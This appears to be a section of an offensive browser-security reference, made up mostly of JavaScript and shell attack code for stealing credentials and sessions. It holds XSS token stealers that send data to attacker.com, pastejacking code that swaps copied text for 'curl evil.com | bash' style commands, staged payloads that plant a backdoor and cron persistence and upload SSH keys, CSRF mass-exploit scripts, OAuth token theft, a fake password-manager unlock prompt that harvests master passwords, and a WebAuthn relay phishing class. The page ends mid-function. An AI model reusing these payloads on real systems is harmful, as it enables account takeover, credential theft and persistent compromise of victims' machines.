Skip to content

The Hostile DOM: Deep Dive Technical Reference

Offensive Security Research

This document provides exhaustive technical analysis of browser-based attack vectors. All code examples are for educational and authorized security research purposes only.

Part 5: Credential & Session Theft

5.1 localStorage vs. HttpOnly Cookies: Storage Vulnerabilities

Modern web applications store authentication tokens in client-side storage, but these mechanisms have fundamentally different security properties.

Storage Mechanism Comparison

Storage TypeJavaScript AccessHttpOnly ProtectionCSRF ProtectionTypical UseAttack Vector
localStorage✅ Full Access❌ None❌ NoneJWT tokens, user prefsXSS, Extension compromise
sessionStorage✅ Full Access❌ None❌ NoneSession data, temp tokensXSS, Tab hijacking
HttpOnly Cookies❌ Blocked✅ Protected✅ ProtectedSession cookies, auth tokensCSRF, Subdomain takeover
Secure Cookies❌ Blocked✅ Protected✅ ProtectedHTTPS-only cookiesProtocol downgrade

Critical Security Flaw

localStorage has no HttpOnly equivalent. Any XSS vulnerability instantly grants access to all stored authentication tokens, bypassing traditional cookie protections.

JWT Token Theft from localStorage

Click to expand code
javascript
// Attacker's XSS payload
function stealTokens() {
  const tokens = {};
  
  // Extract from localStorage
  for (let i = 0; i < localStorage.length; i++) {
    const key = localStorage.key(i);
    const value = localStorage.getItem(key);
    
    // Identify token-like values
    if (isToken(value)) {
      tokens[key] = value;
    }
  }
  
  // Extract from sessionStorage
  for (let i = 0; i < sessionStorage.length; i++) {
    const key = sessionStorage.key(i);
    const value = sessionStorage.getItem(key);
    
    if (isToken(value)) {
      tokens[`session_${key}`] = value;
    }
  }
  
  // Extract from cookies (non-HttpOnly)
  document.cookie.split(';').forEach(cookie => {
    const [name, value] = cookie.trim().split('=');
    if (isToken(value)) {
      tokens[`cookie_${name}`] = value;
    }
  });
  
  // Exfiltrate tokens
  exfiltrateTokens(tokens);
}

function isToken(str) {
  // JWT pattern: header.payload.signature
  const jwtPattern = /^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/;
  
  // OAuth token patterns
  const oauthPatterns = [
    /^ya29\./,  // Google OAuth
    /^EAA[0-9A-Za-z]+$/,  // Facebook
    /^Bearer\s+[A-Za-z0-9-_]+$/,  // Generic Bearer
    /^[0-9a-f]{32,}$/  // API keys
  ];
  
  return jwtPattern.test(str) || oauthPatterns.some(pattern => pattern.test(str));
}

function exfiltrateTokens(tokens) {
  // Multi-channel exfiltration
  const data = {
    url: location.href,
    tokens: tokens,
    timestamp: new Date().toISOString(),
    userAgent: navigator.userAgent
  };
  
  // Method 1: Image beacon
  const img = new Image();
  img.src = `https://attacker.com/log?data=${btoa(JSON.stringify(data))}`;
  
  // Method 2: Fetch with no-cors
  fetch('https://attacker.com/tokens', {
    method: 'POST',
    mode: 'no-cors',
    body: JSON.stringify(data)
  });
  
  // Method 3: WebSocket
  try {
    const ws = new WebSocket('wss://attacker.com/ws');
    ws.onopen = () => ws.send(JSON.stringify(data));
  } catch (e) {}
}

// Execute theft
stealTokens();

Token Reuse Attack

Click to expand code
javascript
// Once tokens are stolen, attacker can impersonate victim
class TokenHijacker {
  constructor(stolenTokens) {
    this.tokens = stolenTokens;
    this.activeSessions = new Map();
  }
  
  // Hijack victim's session
  async hijackSession(targetDomain) {
    const token = this.findTokenForDomain(targetDomain);
    if (!token) return false;
    
    // Set token in attacker's browser
    await this.setAuthToken(targetDomain, token);
    
    // Navigate to protected resource
    const response = await fetch(`https://${targetDomain}/api/user/profile`, {
      headers: {
        'Authorization': `Bearer ${token}`,
        'Content-Type': 'application/json'
      }
    });
    
    if (response.ok) {
      const userData = await response.json();
      console.log(`[+] Hijacked session for: ${userData.email}`);
      this.activeSessions.set(targetDomain, { token, userData });
      return true;
    }
    
    return false;
  }
  
  // Find appropriate token for domain
  findTokenForDomain(domain) {
    // Try exact match first
    if (this.tokens[domain]) return this.tokens[domain];
    
    // Try subdomain matching
    for (const [key, token] of Object.entries(this.tokens)) {
      if (domain.includes(key) || key.includes(domain)) {
        return token;
      }
    }
    
    // Try JWT issuer matching
    for (const [key, token] of Object.entries(this.tokens)) {
      try {
        const payload = JSON.parse(atob(token.split('.')[1]));
        if (payload.iss && payload.iss.includes(domain)) {
          return token;
        }
      } catch (e) {}
    }
    
    return null;
  }
  
  // Set authentication token for domain
  async setAuthToken(domain, token) {
    // Method 1: Set in localStorage (for SPAs)
    await this.executeInTab(`https://${domain}`, `
      localStorage.setItem('authToken', '${token}');
      localStorage.setItem('token', '${token}');
      sessionStorage.setItem('authToken', '${token}');
    `);
    
    // Method 2: Set cookie
    document.cookie = `authToken=${token}; domain=.${domain}; path=/; secure`;
  }
  
  // Execute code in specific tab (requires extension or CDP)
  async executeInTab(url, code) {
    // This would use CDP or extension APIs
    console.log(`[*] Would execute: ${code} in ${url}`);
  }
}

// Usage
const hijacker = new TokenHijacker(stolenTokens);
await hijacker.hijackSession('bank.com');
await hijacker.hijackSession('email-provider.com');

5.2 Pastejacking: Clipboard Weaponization

Pastejacking intercepts the clipboard paste operation to replace user-intended content with malicious commands.

Clipboard Event Interception

Click to expand code
javascript
class PasteJacker {
  constructor() {
    this.originalContent = '';
    this.setupInterception();
  }
  
  setupInterception() {
    // Intercept copy events
    document.addEventListener('copy', (e) => {
      this.originalContent = window.getSelection().toString();
      console.log('[*] User copied:', this.originalContent);
      
      // Replace clipboard content
      const maliciousContent = this.generateMaliciousPayload(this.originalContent);
      e.clipboardData.setData('text/plain', maliciousContent);
      e.preventDefault();
      
      console.log('[+] Clipboard replaced with:', maliciousContent);
    });
    
    // Optional: Intercept paste events for verification
    document.addEventListener('paste', (e) => {
      const pastedContent = e.clipboardData.getData('text/plain');
      console.log('[*] User pasted:', pastedContent);
      
      // Could modify paste content here too
    });
  }
  
  generateMaliciousPayload(originalContent) {
    // Strategy 1: Terminal command replacement
    if (this.looksLikeCommand(originalContent)) {
      return this.replaceWithMaliciousCommand(originalContent);
    }
    
    // Strategy 2: Code snippet poisoning
    if (this.looksLikeCode(originalContent)) {
      return this.injectMaliciousCode(originalContent);
    }
    
    // Strategy 3: URL poisoning
    if (this.looksLikeURL(originalContent)) {
      return this.poisonURL(originalContent);
    }
    
    // Default: Generic payload
    return originalContent + '\n# Malicious code injected\ncurl -s https://evil.com/shell | bash';
  }
  
  looksLikeCommand(text) {
    const commandPatterns = [
      /^git clone/,
      /^npm install/,
      /^pip install/,
      /^curl/,
      /^wget/,
      /^ssh/,
      /^scp/
    ];
    
    return commandPatterns.some(pattern => pattern.test(text.trim()));
  }
  
  replaceWithMaliciousCommand(original) {
    const maliciousCommands = [
      'curl -fsSL https://evil.com/install.sh | bash',
      'wget -qO- https://evil.com/payload | sh',
      'python3 -c "import urllib.request; exec(urllib.request.urlopen(\'https://evil.com/py\').read())"',
      'node -e "require(\'https://evil.com/js\')"'
    ];
    
    return maliciousCommands[Math.floor(Math.random() * maliciousCommands.length)];
  }
  
  looksLikeCode(text) {
    const codePatterns = [
      /function\s+\w+\s*\(/,
      /const\s+\w+\s*=/,
      /import\s+.*from/,
      /require\s*\(/,
      /SELECT\s+.*FROM/i,
      /INSERT\s+INTO/i
    ];
    
    return codePatterns.some(pattern => pattern.test(text));
  }
  
  injectMaliciousCode(original) {
    // Inject into JavaScript
    if (original.includes('function') || original.includes('const')) {
      return original + '\n\n// Malicious injection\nfetch("https://evil.com/steal?" + document.cookie);';
    }
    
    // Inject into SQL
    if (original.toUpperCase().includes('SELECT')) {
      return original + '; DROP TABLE users; --';
    }
    
    return original;
  }
  
  looksLikeURL(text) {
    try {
      new URL(text.trim());
      return true;
    } catch {
      return false;
    }
  }
  
  poisonURL(original) {
    try {
      const url = new URL(original.trim());
      
      // Add tracking parameter
      url.searchParams.set('utm_source', 'evil');
      
      // Change to malicious domain that redirects
      if (url.hostname.includes('github.com')) {
        url.hostname = 'evil-github.com';
      }
      
      return url.toString();
    } catch {
      return original;
    }
  }
}

// Initialize pastejacker
const pastejacker = new PasteJacker();

Advanced Pastejacking: Multi-Stage Attacks

Click to expand code
javascript
// Stage 1: Initial infection via paste
const stage1Payload = `
# Stage 1: Initial access
echo "Stage 1 complete" > /tmp/.stage1

# Download stage 2
curl -s https://attacker.com/stage2.sh > /tmp/.stage2.sh
chmod +x /tmp/.stage2.sh

# Execute stage 2 on next paste
echo 'bash /tmp/.stage2.sh' >> ~/.bashrc
`;

// Stage 2: Privilege escalation
const stage2Payload = `
#!/bin/bash
# Stage 2: Privilege escalation

# Check if we have sudo access
if sudo -n true 2>/dev/null; then
    echo "Sudo access available"
    # Install backdoor
    sudo curl -s https://attacker.com/backdoor > /usr/local/bin/backdoor
    sudo chmod +x /usr/local/bin/backdoor
    sudo /usr/local/bin/backdoor &
else
    echo "No sudo, trying user-level persistence"
    # Add to cron
    (crontab -l ; echo "* * * * * curl -s https://attacker.com/ping") | crontab -
fi

# Clean up
rm /tmp/.stage1 /tmp/.stage2.sh
`;

// Stage 3: Data exfiltration
const stage3Payload = `
# Stage 3: Data theft
tar czf /tmp/data.tar.gz /home/user/Documents /home/user/.ssh
curl -F "file=@/tmp/data.tar.gz" https://attacker.com/upload
rm /tmp/data.tar.gz

# Self-destruct
rm $0
`;

5.3 Cross-Site Request Forgery (CSRF): HttpOnly Bypass

CSRF exploits the automatic inclusion of cookies in cross-origin requests, bypassing HttpOnly protections.

CSRF Attack Mechanics

Click to expand code
javascript
class CSRFExploiter {
  constructor() {
    this.vulnerabilities = [];
    this.scanForCSRF();
  }
  
  // Scan current page for CSRF vulnerabilities
  scanForCSRF() {
    // Look for forms without CSRF tokens
    const forms = document.querySelectorAll('form');
    forms.forEach((form, index) => {
      const hasToken = this.checkForCSRFToken(form);
      const action = form.action || location.href;
      
      if (!hasToken) {
        this.vulnerabilities.push({
          type: 'form',
          element: form,
          action: action,
          method: form.method || 'GET',
          inputs: Array.from(form.querySelectorAll('input')).map(input => ({
            name: input.name,
            type: input.type,
            value: input.value
          }))
        });
      }
    });
    
    // Look for AJAX endpoints
    this.scanForAJAXEndpoints();
    
    console.log(`[+] Found ${this.vulnerabilities.length} potential CSRF targets`);
  }
  
  checkForCSRFToken(form) {
    const tokenNames = ['csrf', 'token', '_token', 'authenticity_token'];
    
    for (const input of form.querySelectorAll('input')) {
      if (tokenNames.some(name => input.name.toLowerCase().includes(name))) {
        return true;
      }
    }
    
    return false;
  }
  
  scanForAJAXEndpoints() {
    // Hook into fetch/XMLHttpRequest to discover endpoints
    const originalFetch = window.fetch;
    window.fetch = function(...args) {
      const url = args[0];
      const options = args[1] || {};
      
      // Log potential CSRF targets
      if (options.method === 'POST' || options.method === 'PUT' || options.method === 'DELETE') {
        console.log('[*] AJAX endpoint:', url, options.method);
      }
      
      return originalFetch.apply(this, args);
    };
  }
  
  // Generate CSRF exploit
  generateExploit(target) {
    if (target.type === 'form') {
      return this.generateFormCSRF(target);
    }
  }
  
  generateFormCSRF(formData) {
    // Create hidden form
    const exploitForm = document.createElement('form');
    exploitForm.action = formData.action;
    exploitForm.method = formData.method;
    exploitForm.target = '_blank'; // Don't navigate away
    
    // Copy all inputs
    formData.inputs.forEach(inputData => {
      const input = document.createElement('input');
      input.type = 'hidden';
      input.name = inputData.name;
      input.value = this.maliciousValue(inputData);
      exploitForm.appendChild(input);
    });
    
    // Add to page (hidden)
    exploitForm.style.display = 'none';
    document.body.appendChild(exploitForm);
    
    return exploitForm;
  }
  
  maliciousValue(inputData) {
    // Generate malicious values based on input type
    switch (inputData.name.toLowerCase()) {
      case 'email':
        return 'attacker@evil.com';
      case 'password':
        return 'hacked123';
      case 'amount':
        return '999999';
      case 'recipient':
        return 'attacker-wallet';
      default:
        return 'MALICIOUS_VALUE';
    }
  }
  
  // Execute CSRF attack
  async executeCSRF(target) {
    const exploit = this.generateExploit(target);
    
    // Submit the form
    exploit.submit();
    
    // Clean up
    setTimeout(() => {
      document.body.removeChild(exploit);
    }, 1000);
    
    console.log(`[+] CSRF attack executed against: ${target.action}`);
  }
  
  // Mass CSRF attack
  async massExploit() {
    for (const vuln of this.vulnerabilities) {
      await this.executeCSRF(vuln);
      await this.delay(1000); // Avoid rate limiting
    }
  }
  
  delay(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
  }
}

// Initialize and run
const csrfExploiter = new CSRFExploiter();

// Auto-exploit after page load
setTimeout(() => {
  csrfExploiter.massExploit();
}, 2000);

Advanced CSRF: JSON Endpoint Exploitation

Click to expand code
javascript
// Modern apps use JSON APIs, but CSRF still works
function jsonCSRF() {
  // Method 1: Form-encoded POST (works with CSRF)
  const form = document.createElement('form');
  form.action = '/api/transfer';
  form.method = 'POST';
  form.innerHTML = `
    <input name="to" value="attacker">
    <input name="amount" value="1000">
  `;
  document.body.appendChild(form);
  form.submit();
  
  // Method 2: Using img/src for GET requests
  const img = new Image();
  img.src = '/api/delete-account?confirm=true';
  
  // Method 3: CORS misconfiguration abuse
  fetch('/api/change-email', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email: 'attacker@evil.com' })
  });
}

// CSRF with file upload
function fileUploadCSRF() {
  const form = document.createElement('form');
  form.action = '/upload';
  form.method = 'POST';
  form.enctype = 'multipart/form-data';
  
  // Create file input
  const fileInput = document.createElement('input');
  fileInput.type = 'file';
  fileInput.name = 'avatar';
  
  // Create malicious file
  const maliciousFile = new File(['malicious content'], 'evil.php', {
    type: 'image/jpeg'
  });
  
  // Add to form
  form.appendChild(fileInput);
  const dt = new DataTransfer();
  dt.items.add(maliciousFile);
  fileInput.files = dt.files;
  
  document.body.appendChild(form);
  form.submit();
}

5.4 OAuth Token Theft

OAuth flows create temporary tokens that can be stolen and reused.

Authorization Code Interception

Click to expand code
javascript
// Intercept OAuth redirect
function interceptOAuth() {
  // Check if we're in an OAuth redirect
  const urlParams = new URLSearchParams(location.search);
  const authCode = urlParams.get('code');
  const state = urlParams.get('state');
  
  if (authCode) {
    console.log('[+] Intercepted OAuth code:', authCode);
    
    // Exchange for access token
    exchangeCodeForToken(authCode, state);
    
    // Redirect to legitimate site to avoid suspicion
    const cleanUrl = location.href.replace(/[?&]code=[^&]*/, '');
    location.href = cleanUrl;
  }
}

async function exchangeCodeForToken(code, state) {
  // This would be done server-side normally
  const tokenResponse = await fetch('/oauth/token', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({
      grant_type: 'authorization_code',
      code: code,
      redirect_uri: 'https://attacker.com/oauth/callback',
      client_id: 'stolen_client_id',
      client_secret: 'stolen_client_secret'
    })
  });
  
  const tokens = await tokenResponse.json();
  console.log('[+] Stolen tokens:', tokens);
  
  // Store for reuse
  localStorage.setItem('stolen_oauth_tokens', JSON.stringify(tokens));
}

Implicit Flow Fragment Theft

Click to expand code
javascript
// In implicit flow, tokens are in URL fragment
function stealFragmentTokens() {
  const fragment = location.hash.substring(1); // Remove #
  const params = new URLSearchParams(fragment);
  
  const accessToken = params.get('access_token');
  const tokenType = params.get('token_type');
  const expiresIn = params.get('expires_in');
  
  if (accessToken) {
    console.log('[+] Stolen implicit flow token:', accessToken);
    
    // Store token
    sessionStorage.setItem('stolen_token', JSON.stringify({
      token: accessToken,
      type: tokenType,
      expires: Date.now() + (expiresIn * 1000)
    }));
    
    // Clean URL to avoid detection
    history.replaceState(null, '', location.pathname + location.search);
  }
}

// Also monitor for fragment changes
window.addEventListener('hashchange', stealFragmentTokens);
stealFragmentTokens(); // Check on load

5.5 Session Riding Attacks

Tabnabbing: Window Opener Exploitation

javascript
// Exploit window.opener to hijack originating tab
function reverseTabnabbing() {
  // Check if we have an opener
  if (window.opener && !window.opener.closed) {
    // Navigate opener to phishing page
    window.opener.location = 'https://attacker.com/phishing?session=' + 
      encodeURIComponent(document.cookie);
    
    // Close this popup
    window.close();
  }
}

// Execute immediately
reverseTabnabbing();

Window.name Persistence

javascript
// window.name persists across navigation
function exfiltrateViaWindowName() {
  // Store sensitive data in window.name
  window.name = JSON.stringify({
    cookies: document.cookie,
    localStorage: JSON.stringify(localStorage),
    timestamp: Date.now()
  });
  
  // Navigate to attacker's domain
  location.href = 'https://attacker.com/collect';
}

// On attacker's domain, read the data
function collectWindowNameData() {
  if (window.name) {
    const data = JSON.parse(window.name);
    console.log('[+] Collected data via window.name:', data);
    
    // Send to server
    fetch('/collect-data', {
      method: 'POST',
      body: JSON.stringify(data)
    });
    
    // Clear for next victim
    window.name = '';
  }
}

5.6 Password Manager Exploitation

Modern password managers (1Password, LastPass, Bitwarden, Chrome/Firefox built-in) inject credentials via DOM manipulation, creating XSS attack surfaces.

Attack Surface

Password managers typically:

  • Inject credentials directly into <input> fields via .value property
  • Respond to DOM changes (auto-fill on page load or focus)
  • Trust origin verification (can be bypassed with nested frames)
  • Use content scripts (privileged context vulnerable to page manipulation)

Attack Vector 1: Credential Stealing via Fake Fields

Click to expand code
javascript
class PasswordManagerThief {
  constructor() {
    this.stolenCredentials = [];
  }
  
  // Create invisible form to trigger password manager
  createInvisibleForm() {
    const form = document.createElement('form');
    form.id = 'invisible-login-form';
    form.style.cssText = 'position:absolute;top:-9999px;left:-9999px;width:1px;height:1px;';
    form.autocomplete = 'on'; // Enable autofill
    
    // Username field
    const usernameInput = document.createElement('input');
    usernameInput.type = 'text';
    usernameInput.name = 'username';
    usernameInput.autocomplete = 'username';
    usernameInput.id = 'steal-username';
    
    // Password field
    const passwordInput = document.createElement('input');
    passwordInput.type = 'password';
    passwordInput.name = 'password';
    passwordInput.autocomplete = 'current-password';
    passwordInput.id = 'steal-password';
    
    // Submit button (some password managers require it)
    const submitBtn = document.createElement('button');
    submitBtn.type = 'submit';
    submitBtn.textContent = 'Login';
    
    form.appendChild(usernameInput);
    form.appendChild(passwordInput);
    form.appendChild(submitBtn);
    
    document.body.appendChild(form);
    
    console.log('[+] Invisible form created to bait password manager');
    
    // Monitor for auto-fill
    this.monitorAutoFill(usernameInput, passwordInput);
  }
  
  // Monitor input changes from password manager
  monitorAutoFill(usernameInput, passwordInput) {
    // MutationObserver to detect value changes
    const observer = new MutationObserver((mutations) => {
      mutations.forEach((mutation) => {
        if (mutation.type === 'attributes' && mutation.attributeName === 'value') {
          this.checkForCredentials(usernameInput, passwordInput);
        }
      });
    });
    
    // Observe both inputs
    observer.observe(usernameInput, { attributes: true, attributeFilter: ['value'] });
    observer.observe(passwordInput, { attributes: true, attributeFilter: ['value'] });
    
    // Also use input event
    usernameInput.addEventListener('input', () => this.checkForCredentials(usernameInput, passwordInput));
    passwordInput.addEventListener('input', () => this.checkForCredentials(usernameInput, passwordInput));
    
    // Poll for value changes (some password managers bypass events)
    setInterval(() => this.checkForCredentials(usernameInput, passwordInput), 100);
  }
  
  // Check if credentials were filled
  checkForCredentials(usernameInput, passwordInput) {
    const username = usernameInput.value;
    const password = passwordInput.value;
    
    if (username && password) {
      console.log('[!] PASSWORD MANAGER AUTO-FILLED CREDENTIALS');
      
      // Steal credentials
      this.stealCredentials(username, password);
      
      // Clear inputs to allow re-fill
      usernameInput.value = '';
      passwordInput.value = '';
    }
  }
  
  // Exfiltrate stolen credentials
  stealCredentials(username, password) {
    const credential = {
      username: username,
      password: password,
      origin: window.location.origin,
      userAgent: navigator.userAgent,
      timestamp: Date.now()
    };
    
    this.stolenCredentials.push(credential);
    
    console.log('[+] Stolen credential:', credential);
    
    // Immediate exfiltration
    fetch('https://attacker.com/password-manager-harvest', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(credential)
    }).catch(err => {
      // Queue for retry if offline
      this.queueForRetry(credential);
    });
  }
  
  queueForRetry(credential) {
    const queue = JSON.parse(localStorage.getItem('credential-queue') || '[]');
    queue.push(credential);
    localStorage.setItem('credential-queue', JSON.stringify(queue));
  }
}

// Initialize thief on page load
const pmThief = new PasswordManagerThief();
pmThief.createInvisibleForm();

// Also create visible form that looks legitimate
const visibleForm = document.createElement('form');
visibleForm.innerHTML = `
  <h2>Sign in to continue</h2>
  <input type="text" name="username" placeholder="Email" autocomplete="username">
  <input type="password" name="password" placeholder="Password" autocomplete="current-password">
  <button type="submit">Sign In</button>
`;
document.body.appendChild(visibleForm);

Attack Vector 2: Nested Frame Origin Confusion

Click to expand code
javascript
// Create iframe that password manager will auto-fill
function createSpoofedLoginFrame() {
  // Iframe pointing to legitimate domain
  const iframe = document.createElement('iframe');
  iframe.src = 'https://bank.com/login'; // Legitimate site
  iframe.style.cssText = 'width:400px;height:300px;border:none;';
  
  document.body.appendChild(iframe);
  
  // Wait for iframe to load
  iframe.addEventListener('load', () => {
    try {
      // Access iframe content (if CORS allows or via subdomain)
      const iframeDoc = iframe.contentDocument || iframe.contentWindow.document;
      
      // Extract credentials that password manager filled
      const usernameField = iframeDoc.querySelector('[type="text"], [type="email"]');
      const passwordField = iframeDoc.querySelector('[type="password"]');
      
      if (usernameField && passwordField) {
        // Poll for auto-fill
        const pollInterval = setInterval(() => {
          if (usernameField.value && passwordField.value) {
            console.log('[!] Credentials from nested frame:', {
              username: usernameField.value,
              password: passwordField.value
            });
            
            // Exfiltrate
            fetch('https://attacker.com/iframe-harvest', {
              method: 'POST',
              body: JSON.stringify({
                username: usernameField.value,
                password: passwordField.value,
                legitimateOrigin: 'bank.com'
              })
            });
            
            clearInterval(pollInterval);
          }
        }, 100);
      }
    } catch (e) {
      // CORS blocked, try postMessage intercept
      console.log('[*] CORS blocked, using postMessage intercept');
    }
  });
}

Attack Vector 3: Extension Content Script Manipulation

Click to expand code
javascript
// Detect and manipulate password manager extensions
class ExtensionHijacker {
  constructor() {
    this.detectedExtensions = [];
  }
  
  // Detect password manager extensions
  detectPasswordManagers() {
    // Common password manager extension markers
    const markers = [
      { name: '1Password', selector: '[data-1p-extension]', attribute: 'data-1p-extension' },
      { name: 'LastPass', selector: '[data-lastpass-icon-root]', attribute: 'data-lastpass-icon-root' },
      { name: 'Bitwarden', selector: '[data-bw-icon]', attribute: 'data-bw-icon' },
      { name: 'Dashlane', selector: '[data-dashlane-observed]', attribute: 'data-dashlane-observed' },
    ];
    
    markers.forEach(marker => {
      if (document.querySelector(marker.selector)) {
        this.detectedExtensions.push(marker.name);
        console.log(`[!] Detected password manager: ${marker.name}`);
      }
    });
    
    return this.detectedExtensions;
  }
  
  // Hijack extension-injected elements
  hijackExtensionIcons() {
    // Wait for extension to inject icons
    setTimeout(() => {
      const icons = document.querySelectorAll('[data-1p-extension], [data-lastpass-icon-root], [data-bw-icon]');
      
      icons.forEach(icon => {
        // Replace click handler
        icon.addEventListener('click', (e) => {
          e.stopPropagation();
          e.preventDefault();
          
          console.log('[+] Password manager icon clicked - intercepted!');
          
          // Show fake password manager UI
          this.showFakePasswordUI();
        }, true); // Capture phase to intercept first
      });
    }, 2000);
  }
  
  // Show fake password manager interface
  showFakePasswordUI() {
    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background: rgba(0,0,0,0.5);
      z-index: 999999;
      display: flex;
      justify-content: center;
      align-items: center;
    `;
    
    overlay.innerHTML = `
      <div style="background:white;padding:30px;border-radius:8px;box-shadow:0 4px 20px rgba(0,0,0,0.3);max-width:400px;">
        <h3>Unlock 1Password</h3>
        <p>Enter your master password to continue</p>
        <input type="password" id="fake-master-pwd" placeholder="Master Password" style="width:100%;padding:10px;margin:10px 0;border:1px solid #ccc;border-radius:4px;">
        <button id="fake-unlock-btn" style="width:100%;padding:10px;background:#0066cc;color:white;border:none;border-radius:4px;cursor:pointer;">Unlock</button>
      </div>
    `;
    
    document.body.appendChild(overlay);
    
    // Steal master password
    document.getElementById('fake-unlock-btn').addEventListener('click', () => {
      const masterPwd = document.getElementById('fake-master-pwd').value;
      
      if (masterPwd) {
        console.log('[!!!] MASTER PASSWORD STOLEN:', masterPwd);
        
        // Exfiltrate master password
        fetch('https://attacker.com/master-password', {
          method: 'POST',
          body: JSON.stringify({
            masterPassword: masterPwd,
            extension: this.detectedExtensions[0],
            victim: window.location.href
          })
        });
        
        // Remove overlay and show error
        document.body.removeChild(overlay);
        alert('Incorrect password. Please try again.');
      }
    });
  }
  
  // Monitor for extension-injected credentials
  monitorExtensionBehavior() {
    // Override input value setter to intercept extension fills
    const originalValueSetter = Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value').set;
    
    Object.defineProperty(HTMLInputElement.prototype, 'value', {
      set: function(newValue) {
        // Detect if this is a password field being filled
        if (this.type === 'password' && newValue) {
          console.log('[!] Password filled by extension:', newValue);
          
          // Exfiltrate immediately
          fetch('https://attacker.com/extension-fill', {
            method: 'POST',
            body: JSON.stringify({
              password: newValue,
              fieldName: this.name,
              url: window.location.href
            })
          });
        }
        
        // Call original setter
        originalValueSetter.call(this, newValue);
      }
    });
  }
}

// Initialize hijacker
const hijacker = new ExtensionHijacker();
hijacker.detectPasswordManagers();
hijacker.hijackExtensionIcons();
hijacker.monitorExtensionBehavior();

5.7 WebAuthn / FIDO2 Token Theft

WebAuthn (Web Authentication) uses hardware tokens (YubiKey, TouchID) for passwordless authentication. While more secure than passwords, it's still vulnerable to certain attacks.

WebAuthn Attack Limitations

WebAuthn is designed to be phishing-resistant:

  • Origin binding: Credentials tied to specific domain
  • Challenge-response: Server nonce prevents replay
  • Attestation: Hardware token proves authenticity

However, relay attacks and proxy phishing can bypass these protections.

Attack: WebAuthn Relay/Proxy Phishing

Click to expand code
javascript
class WebAuthnRelayAttacker {
  constructor(legitimateOrigin, attackerServer) {
    this.legitimateOrigin = legitimateOrigin; // e.g., 'bank.com'
    this.attackerServer = attackerServer; // e.g., 'attacker.com'
    this.ws = null;
  }
  
  // Setup WebSocket for real-time relay
  async setupRelay() {
    this.ws = new WebSocket(`wss://${this.attackerServer}/relay`);
    
    this.ws.onopen = () => {
      console.log('[+] Relay connection established');
    };
    
    this.ws.onmessage = (event) => {
      const data = JSON.parse(event.data);
      this.handleRelayMessage(data);
    };
  }
  
  // Victim visits attacker's page (lookalike of bank.com)
  async initiatePhishing() {
    console.log('[+] Starting WebAuthn relay attack');
    
    // Step 1: Request authentication challenge from attacker server
    const response = await fetch(`https://${this.attackerServer}/get-challenge`, {
      method: 'POST',
      body: JSON.stringify({
        victim: window.location.href,
        userAgent: navigator.userAgent
      })
    });
    
    const { challenge, allowCredentials } = await response.json();
    
    // Step 2: Show fake "Sign in with security key" prompt
    this.showFakeWebAuthnPrompt();
    
    // Step 3: Trigger real WebAuthn ceremony on victim's device
    try {
      const assertion = await navigator.credentials.get({
        publicKey: {
          challenge: Uint8Array.from(atob(challenge), c => c.charCodeAt(0)),
          timeout: 60000,
          rpId: this.legitimateOrigin, // Attacker can't fake this - will fail
          allowCredentials: allowCredentials || [],
          userVerification: 'preferred'
        }
      });
      
      // Step 4: This will fail because rpId doesn't match our origin
      // BUT - if victim's browser has misconfigured CORS or we're on subdomain...
      console.log('[!] WebAuthn assertion obtained (unexpected!):', assertion);
      
      // Relay assertion to attacker server
      this.relayAssertion(assertion);
      
    } catch (error) {
      // Expected failure - rpId mismatch
      console.log('[*] WebAuthn failed (expected):', error);
      
      // Alternative: Proxy attack via nested frame
      this.proxyAttack(challenge);
    }
  }
  
  // Proxy attack: Open legitimate site in iframe and relay interactions
  async proxyAttack(challenge) {
    console.log('[+] Attempting proxy attack');
    
    // Create hidden iframe to legitimate site
    const iframe = document.createElement('iframe');
    iframe.src = `https://${this.legitimateOrigin}/login`;
    iframe.style.cssText = 'position:absolute;top:-9999px;width:1px;height:1px;';
    document.body.appendChild(iframe);
    
    // Wait for iframe to load
    iframe.addEventListener('load', () => {
      // Send message to iframe to trigger WebAuthn
      iframe.contentWindow.postMessage({
        type: 'trigger-webauthn',
        challenge: challenge
      }, `https://${this.legitimateOrigin}`);
    });
    
    // Listen for WebAuthn result from iframe
    window.addEventListener('message', (event) => {
      if (event.origin === `https://${this.legitimateOrigin}`) {
        if (event.data.type === 'webauthn-result') {
          console.log('[!] WebAuthn assertion obtained via proxy:', event.data.assertion);
          
          // Relay to attacker server
          this.relayAssertion(event.data.assertion);
        }
      }
    });
  }
  
  // Show fake WebAuthn prompt to victim
  showFakeWebAuthnPrompt() {
    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background: rgba(0,0,0,0.8);
      z-index: 999999;
      display: flex;
      justify-content: center;
      align-items: center;
    `;
    
    overlay.innerHTML = `
      <div style="background:white;padding:40px;border-radius:12px;text-align:center;max-width:400px;">
        <img src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='64' height='64'%3E%3Cpath fill='%230066cc' d='M32 8l24 16v24L32 64 8 48V24z'/%3E%3C/svg%3E" alt="Security Key">
        <h2>Security Key Required</h2>
        <p>Insert your security key and follow the prompts to continue</p>
        <div style="margin:20px 0;padding:20px;background:#f5f5f5;border-radius:8px;">
          <div class="spinner" style="border:4px solid #f3f3f3;border-top:4px solid #0066cc;border-radius:50%;width:40px;height:40px;animation:spin 1s linear infinite;margin:0 auto;"></div>
          <p style="margin-top:15px;color:#666;">Waiting for security key...</p>
        </div>
        <p style="font-size:12px;color:#999;">This request comes from ${this.legitimateOrigin}</p>
      </div>
      <style>
        @keyframes spin {
          0% { transform: rotate(0deg); }
          100% { transform: rotate(360deg); }
        }
      </style>
    `;
    
    document.body.appendChild(overlay);
  }
  
  // Relay assertion to attacker server for session hijacking
  async relayAssertion(assertion) {
    // Convert credential to JSON
    const assertionJSON = {
      id: assertion.id,
      rawId: btoa(String.fromCharCode(...new Uint8Array(assertion.rawId))),
      response: {
        authenticatorData: btoa(String.fromCharCode(...new Uint8Array(assertion.response.authenticatorData))),
        clientDataJSON: btoa(String.fromCharCode(...new Uint8Array(assertion.response.clientDataJSON))),
